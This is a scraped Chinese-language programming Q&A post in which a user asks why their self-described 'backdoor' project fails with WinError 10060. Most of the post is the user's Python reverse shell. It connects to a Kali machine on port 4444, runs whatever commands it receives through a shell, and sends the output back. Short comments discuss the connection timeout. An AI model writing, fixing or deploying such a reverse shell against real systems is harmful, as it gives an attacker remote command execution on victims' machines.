我的代码中出现WinError10060 Python错误的原因是什么?

我的代码中出现WinError10060 Python错误的原因是什么?,python,python-3.x,Python,Python 3.x,我创建一个后门项目是为了好玩,我遇到了一个无法修复的错误,下面是代码: #!/usr/bin/python import socket import subprocess def execute_system_command(command): return subprocess.check_output(command, shel=True) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) con

我创建一个后门项目是为了好玩,我遇到了一个无法修复的错误,下面是代码:

    #!/usr/bin/python
import socket
import subprocess

def execute_system_command(command):
    return subprocess.check_output(command, shel=True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("VMKaliIP",4444))
connection.send("connected")


while True:
    command = connection.recv(1024)
    command_result = execute_system_command(command)
    connection.send(command_result)

connection.close()
我收到的错误:[WinError 10060]连接尝试失败,因为连接方未正确连接 一段时间后响应,或由于连接的主机未能响应而建立的连接失败

所以我在4444端口的虚拟Kali机器上运行NetCat,但没有得到任何回报。
有什么想法吗?

尝试打开web浏览器中的IP+端口,看看该端口所说的话是什么意思,即您正在向“VMKaliIP”发送连接请求,而他们没有响应。这是路由器上的有效主机名吗?是的,这是我的虚拟机ip@Programmer我应该直接写在哪台机器上